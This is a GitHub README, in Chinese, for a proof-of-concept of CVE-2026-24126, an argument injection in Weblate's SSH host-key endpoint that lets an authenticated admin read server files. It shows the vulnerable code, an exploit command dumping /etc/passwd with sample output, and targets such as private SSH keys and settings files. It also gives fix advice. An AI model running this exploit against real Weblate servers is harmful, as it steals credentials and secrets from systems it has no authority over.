alexb616/Weblate-CVE-2026-24126

GitHub: alexb616/Weblate-CVE-2026-24126

Weblate SSH 主机密钥管理功能的参数注入漏洞 PoC,通过注入 ssh-keyscan 的 -f 标志实现认证后任意文件读取。

Stars: 0 | Forks: 0

# Weblate — 通过 SSH Host 参数注入实现任意文件读取 ## 概述 Weblate 的 SSH 主机密钥管理端点将经过身份验证的管理员提供的 `host` 参数**直接传递给 `ssh-keyscan`**,未进行任何清理或参数验证。由于 `ssh-keyscan` 接受 `-f ` 标志以从文件读取目标主机名,拥有管理员凭据的攻击者可以将该标志作为主机值注入,并强制服务器打开任意本地文件。由此产生的错误输出(或标准输出 stdout)会逐字反射回浏览器并在错误消息块中显示,从而导致文件内容泄露。 ## 漏洞详情 | 字段 | 值 | |---|---| | **目标** | Weblate(自托管实例) | | **组件** | SSH 密钥管理 — `weblate/ssh/views.py` · `add_host_key()` | | **需要认证** | 是 — Weblate 管理员账户 | | **受影响版本** | 所有版本 ≤ 5.15.2(在 5.0.2 和 5.15.2 中测试) | | **影响** | 以 Web 服务器进程用户(`weblate`、`www-data` 等)身份读取任意本地文件 | | **CVSS v3** | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L | | **CVE** | CVE-2026-24126 | ## 根本原因 ``` # weblate/ssh/views.py — 简化 def add_host_key(request, host, port=""): cmdline = ["ssh-keyscan"] if port: cmdline.extend(["-p", str(port)]) cmdline.append(host) # ← host is appended with no validation result = subprocess.run(cmdline, ...) ``` `host` 值直接来自 POST 请求体中的 `host` 字段,没有白名单验证,没有去除前导破折号,也没有在用户提供的值之前使用 `--` 参数终止符。这允许攻击者注入任何 `ssh-keyscan` 标志。 `ssh-keyscan -f /etc/passwd` 会将 `/etc/passwd` 作为主机名列表读取,解析每一行失败,并为每一行生成错误输出。该错误输出通过 `CalledProcessError` 处理程序传播,并显示在 HTTP 响应的 `alert-danger` 块中。 ## 概念验证 ``` python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd ``` #### 选项 | 标志 | 描述 | |---|---| | `-r` / `--rhost` | Weblate 实例的 Base URL | | `-u` / `--username` | 管理员用户名 | | `-p` / `--password` | 管理员密码 | | `-f` / `--file` | 服务器上要读取的文件路径 | #### 示例输出 ``` python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd [+] Login successful for user: admin [*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient... [+] Extracted file content: -------------------------------------------------- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin weblate:x:1000:1000::/home/weblate:/bin/sh -------------------------------------------------- [!] Exploit finished ``` ## 影响 任何可被运行 Weblate 的操作系统用户(通常是 `weblate` 用户)读取的文件,都可以通过单次经过认证的 POST 请求被窃取。敏感目标包括: - 应用程序密钥:`settings.py`、`.env`、`local_settings.py` - 私有 SSH 密钥:`/var/lib/weblate/.ssh/id_rsa` - 配置文件中暴露的数据库凭据 ## 修复建议 **更新至 Weblate 5.16.0 或更高版本。** 这是 Weblate 团队于 2026 年 2 月 18 日发布的官方修复,该版本引入了对 SSH 主机字段的正确输入验证。 ## 免责声明 本仓库仅用于**教育和授权安全研究**。请勿针对您不拥有或未获得明确书面测试许可的系统使用此工具。作者不对滥用行为承担任何责任。
标签:CISA项目, CVE-2026-24126, Django, Exploit, PoC, Python, ssh-keyscan, SSH密钥管理, subprocess, Weblate, Web安全, 任意文件读取, 参数注入, 参数验证缺失, 命令注入, 威胁模拟, 安全漏洞, 无后门, 暴力破解, 本地文件包含, 网络安全审计, 蓝队分析, 逆向工具